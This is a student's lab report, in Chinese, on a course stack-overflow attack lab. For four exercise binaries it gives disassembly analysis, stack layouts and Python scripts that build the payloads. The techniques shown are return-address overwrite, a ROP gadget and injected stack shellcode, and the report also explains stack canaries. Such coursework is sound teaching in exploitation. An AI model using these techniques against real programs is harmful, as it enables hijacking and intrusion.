

# 栈溢出攻击实验

## 题目解决思路

### Problem 1:

分析：

一开始看到 puts，以为是要用栈溢出把puts里面的输出字符串替换，但是发现，关键的函数在func里面，也就是说，puts里面的输出字符串是替换不了的。这时我又观察到func上面还有个func1，而程序正常运行下这个func1就是多余的，所以很显然这个func1是关键。

注意到func1里面有

```
40121e: bf 04 20 40 00          mov    edi,0x402004
401223: e8 98 fe ff ff          call   4010c0 <puts@plt>
401228: bf 00 00 00 00          mov    edi,0x0
40122d: e8 ee fe ff ff          call   401120 <exit@plt>
```

会输出字符串，然后就exit了。

```
(gdb) x/s 0x402004
0x402004:      "Yes! I Like ICS!"
```

使用gdb命令读取字符串内容，发现就是我们想要的，那么答案已经呼之欲出了。

简单整理一下攻击过程：

1. 利用 func 中 strcpy 的无边界检查漏洞，栈溢出覆盖 func 的返回地址
2. 让程序执行完 func 后跳转到 func1，从而输出 func1 里的字符串。
3. 程序exit

接着就要分析payload的字符串了，尝试将func转成函数：

```
void func(char* input_str)
{
    char buf[8]; // 仅分配 8 字节
    strcpy(buf, input_str); // 无边界检查的字符串拷贝
}
```

接着分析func的栈，我们这是64位机，地址都是8字节：

```
retaddr 8bits
old rbp 8bits
buf[8]  ( 401246: 48 8d 45 f8           lea    rax,[rbp-0x8])
.....
rsp
```

所以就要让retaddr跳到func2，func2的地址为 0x401216，就先用16个字节填充无关区域，ret只在乎retaddr，而func2运行完就exit了，所以old rbp填充什么无所谓，然后到了retaddr，填充func2地址，注意小端序：

```
16 * 'A' + b'\x16\x12\x40\x00\x00\x00\x00\x00'
```

解决方案：payload是什么，即你的python代码or其他能体现你payload信息的代码/图片：

```
padding = b"A" * 16
func1_address = b'\x16\x12\x40\x00\x00\x00\x00\x00'      # 小端地址
payload = padding + func1_address
# write the payload to a file
with open("ans1.txt", "wb") as f:
    f.write(payload)
print("Payload written to ans.txt")
```

结果：附上图片

```
● ssz@localhost:~/attack-lab-hit-it-more$ ./problem1 ans1.txt
Do you like ICS?
Yes! I like ICS!
```

## Problem 2:

分析：

程序里面有 `func2`, `fucc`, `func`, `pop_rdi` 这三个函数，读取 `fucc` 输出的字符串

```
(gdb) x/s 0x40204c
0x40204c:      "welcome to the second level!\n"
```

发现就是单纯输出提示词，这个函数没其他用处。

接着看 `func` 还是和 `problem1` 一样，不过多了一个 `memcpy` 对长度的限制：

```
4012a8: ba 38 00 00 00          mov    edx,0x38
```

但是  $0x38 = 56$  还是远远大于 `buf[8]` 的 8 字节。

而 `func2` 多了一个 if 判断，`edi = 0x3f8`：

```
401222: 89 7d fc          mov    DWORD PTR [rbp-0x4],edi
401225: 81 7d fc f8 03 00 00  cmp   DWORD PTR [rbp-0x4],0x3f8
```

读取 if 的两个分支的字符串

```
(gdb) x/s 0x402008  # 判断不等于 0x3f8
0x402008:      "I think that you should give me the right number!\n"
(gdb) x/s 0x40203b  # 判断等于 0x3f8
0x40203b:      "Yes! I like ICS!\n"
```

而如何修改 `%rdi` 的值呢？很显然跟 `pop_rdi` 函数有关，而如何在 `pop_rdi` 函数结束以后跳到 `func2` 呢，这个我想了很久。首先还是尝试画一下栈图：

```
retaddr(pop_rdi)
old rbp
buf
.....
rsp
```

```
00000000004012bb <pop_rdi>:
4012bb: f3 0f 1e fa          endbr64
4012bf: 55                  push   rbp
4012c0: 48 89 e5            mov    rbp, rsp
4012c3: 48 89 7d f8          mov    QWORD PTR [rbp-0x8], rdi
4012c7: 5f                  pop    rdi
4012c8: c3                  ret
```

结果发现很难构建输入，因为 `mov QWORD PTR [rbp-0x8], rdi` 时, `rbp - 0x8` 已经飘飘然不知何物了，于是就突发奇想，直接跳到4012c7，这样 `pop rdi` 时，`rdi = rsp`, 而 `rsp` 等于原 `retaddr` 上方的八字节，然后又 `ret`，那么由于没有正常函数中的 `leave` 操作，此时 `retaddr` 就等于原 `retaddr` 上方第二个八字节。于是变构建输入：

```
b'A' * 16 + b'\xc7\x12\x40\x00\x00\x00\x00\x00' +
b'\xf8\x03\x00\x00\x00\x00\x00\x00' + b'\x16\x12\x40\x00\x00\x00\x00\x00'
```

再次基础上我想，既然不必每次都跳到函数开头，那我直接跳到 `func2` 中的正确分支可以吗，于是构建输入：

```
b'A' * 16 + b'\x4c\x12\x40\x00\x00\x00\x00\x00'
```

也顺利输出了目标字符串。

**解决方案：** payload是什么，即你的python代码or其他能体现你payload信息的代码/图片

```
# 正常版 跳到pop_rdi，再跳到func2，然后通过判断进入正确输出的分支
padding = b'A' * 16
pop_rdi_addr = b'\xc7\x12\x40\x00\x00\x00\x00\x00'
func2_val = b'\xf8\x03\x00\x00\x00\x00\x00\x00'
func2_addr = b'\x16\x12\x40\x00\x00\x00\x00\x00'
# 正确的payload: 按顺序拼接
payload = padding + pop_rdi_addr + func2_val + func2_addr

# 速通版 直接跳过判断，跳到到正确输出的分支里面
padding = b'A' * 16
pop_rdi_addr = b'\x4c\x12\x40\x00\x00\x00\x00\x00'
# 正确的payload: 按顺序拼接
payload = padding + pop_rdi_addr
```

**结果：**附上图片

```
● ssz@localhost:~/attack-lab-hit-it-more$ ./problem2 ans2.txt
Do you like ICS?
Welcome to the second level!
Yes! I like ICS!
```

## Problem 3:

**分析：**...

程序大体上要求和Problem2一样，都是要跳到func1并且对传入的参数数值有要求。

难点在于Problem2中有非常经典的 Ropgadget 片段，即

```
4012c7: 5f          pop    rdi  
4012c8: c3          ret
```

但在Problem3中就从pop变成move了，导致难度指数上升：

```
4012ea: 48 89 c7          mov    rdi, rax  
4012ed: c3                ret
```

对于提供的其他函数 `mov_rax`, `call_rax`, `jmp_x`, `jmp_xs`, 一时不知道怎么使用。

仔细观察 func，他还多了一保存 saved\_rsp 的操作，而这个 saved\_rsp 在 jmp\_xs 中也有出现。而 jmp\_xs 则会跳到 saved\_rsp + 0x10 的位置上。但是这个位置正好是 buffer 的起始地址，所以可以配合 jmp，让 buffer 前面变成汇编指令，同时实现给 rdi 赋值和跳到 func1 上面。

简单梳理一下过程：

1. `memcpy`将payload（赋值+跳转机器码）写入栈上buffer；
  2. func执行完毕 → `ret` → 跳转到`jmp_xs`（0x401334）；
  3. `jmp_xs`执行 → 跳回栈上buffer起始地址（`saved_rsp+0x10`）；
  4. 执行栈上的机器码：  
`mov edi,0x72;`  
`push 0x401216 + ret` → 跳转到func1；

至于汇编指令就让 ai 生成了。

**解决方案:** payload是什么, 即你的python代码or其他能体现你payload信息的代码/图片

```
# 弄一个汇编指令 move edi 0x72
assign_machine_code = b"\xbff\x72\x00\x00\x00"
# push 0x401216 + ret → 机器码: 0x68 16 12 40 00 + 0xc3
jmp_func1_code = b"\x68\x16\x12\x40\x00\xc3"

payload = assign_machine_code + jmp_func1_code
payload = payload.ljust(40, b"A")
payload += b"\x34\x13\x40\x00\x00\x00\x00\x00" # retaddr 变成 jmp_xs

# 写入文件
with open("ans3.txt", "wb") as f:
    f.write(payload)
print("Payload written to ans.txt")
```

**结果：**附上图片

```
● ssz@localhost:~/attack-lab-hit-it-more$ ./problem3 ans3.txt
Do you like ICS?
Now, say your lucky number is 114!
If you do that, I will give you great scores!
Your lucky number is 114
```

## Problem 4:

分析：体现canary的保护机制是什么

与Canary有关的汇编代码

```
.....
1328:   64 48 8b 04 25 28 00    mov    rax,QWORD PTR fs:0x28
132f:   00 00
1331:   48 89 45 f8            mov    QWORD PTR [rbp-0x8],rax
.....
1347:   48 8b 45 f8            mov    rax,QWORD PTR [rbp-0x8]
134b:   64 48 2b 04 25 28 00    sub    rax,QWORD PTR fs:0x28
1352:   00 00
1354:   74 05                  je     135b <func1+0x3f>
1356:   e8 75 fd ff ff        call   10d0 <__stack_chk_fail@plt>
135b:   c9                      leave
135c:   c3                      ret
```

程序首先在函数栈的 `rbp - 0x8` 处存下 `fs:0x28`，`fs:0x28` 是 Linux 系统为每个进程单独生成的随机值，攻击者无法提前预测。

待函数结束时，再将栈的 `rbp - 0x8` 处中的数据与 `fs:0x28` 进行比对，如果两者相同，说明金丝雀值没被破坏，则正常退出程序，如果两者不相同，那么就报错，跳到 `<__stack_chk_fail@plt>`。

金丝雀值的位置也大有讲究，存在 `[rbp-0x8]`（栈基址偏移 -8），刚好在局部变量和返回地址之间——栈溢出攻击要修改返回地址，必然会先覆盖金丝雀值，触发校验失败。

分析程序，前两个 `caesar_decrypt` 看似很唬人，但是实则根本对最终输出目标字符串没影响，主要还是看 `func`。

`func` 要求我们输入一个整数，首先这个数不能小于 `0xfffffffffe`，由于使用的是 `jae`，所以这里的 `0xfffffffffe` 不能看作负数，然后符合的值就只有 `0xfffffffffe` 和 `0xffffffffff`，当然两个都尝试一次就行。

输入：`0xfffffffffe` 输出：`No! I will let you fail!`

输入：`0xffffffffff` 输出：`great! I will give you great scores`

如果要真的搞明白为什么是 `-1`，可以看反汇编的代码。

```
const int MAGIC_NUM = 0xfffffffffe;
int input_num = num;
int temp_num = input_num;
int counter = 0;
.....
while (counter < MAGIC_NUM) {
    input_num--;
```

```

        counter++;
    }
    if (input_num == 1 && temp_num == 0xffffffff) {
        func1();
        exit(0);      // 退出程序
    }
    .....

```

当num = 0xffffffff 时, input\_num = 0xffffffff - 0xffffffff = 1 就满足条件, 然后输出目标字符串。

**解决方案:** payload是什么, 即你的python代码or其他能体现你payload信息的代码/图片

```

hi please tell me what is your name?
(随意输入)
hi! do you like ics?
(随意输入)
if you give me enough yuanshi,I will let you pass!
-1
your money is 4294967295
great!I will give you great scores

```

**结果:** 附上图片

```

● ssz@localhost:~/attack-lab-hit-it-more$ ./problem4
hi please tell me what is your name?
奶龙
hi! do you like ics?
yes
if you give me enough yuanshi,I will let you pass!
-1
your money is 4294967295
great!I will give you great scores

```

## 思考与总结

在这次lab中我主要用了3种方法来Attack, 这三个方法不是相互分离的, 而是相辅相成的。

1. 栈溢出改变retaddr, 跳转到目标函数。
2. Ropgadget, 合理利用程序内部的代码碎片进行传参、攻击。
3. 可读写栈, 即在函数栈内部注入一段转化为二进制的汇编代码, 然后跳转到栈上执行

这三个方法的难度也是依次递增的, 也分别对于 problem1~3 的关键方法, problem4.....貌似没用到攻击?

而写这个lab最重要的就是对函数调用时, 要对栈帧的变换和寄存器的数值要有精准的把握, 知道注入的字符串每一部分会落在栈上的那一部分, 会怎么改变程序运行的过程。

在这期间, gdb的使用可谓至关重要, 可以让我们一步一步了解程序的走向。

## 写lab中的解题基本过程

首先lab里面给的都是二进制文件, 我们首先要把他转成汇编文件 .asm。

使用反汇编命令:

```
objdump -M intel -d problem1 > problem1.asm
```

然后就和Bomblab一样了，可以用gdbinit省去重复的操作：

```
gdb problem1
```

手动构建输入可能比较累和不直观，可以用python程序构建答案：

```
python3 payload.py
```

构建完答案后尝试攻击：

```
./problem1 ans1.txt
```

## 参考资料

---

列出在准备报告过程中参考的所有文献、网站或其他资源，确保引用格式正确。

[堆栈溢出漏洞：原理、利用与防范-CSDN博客](#)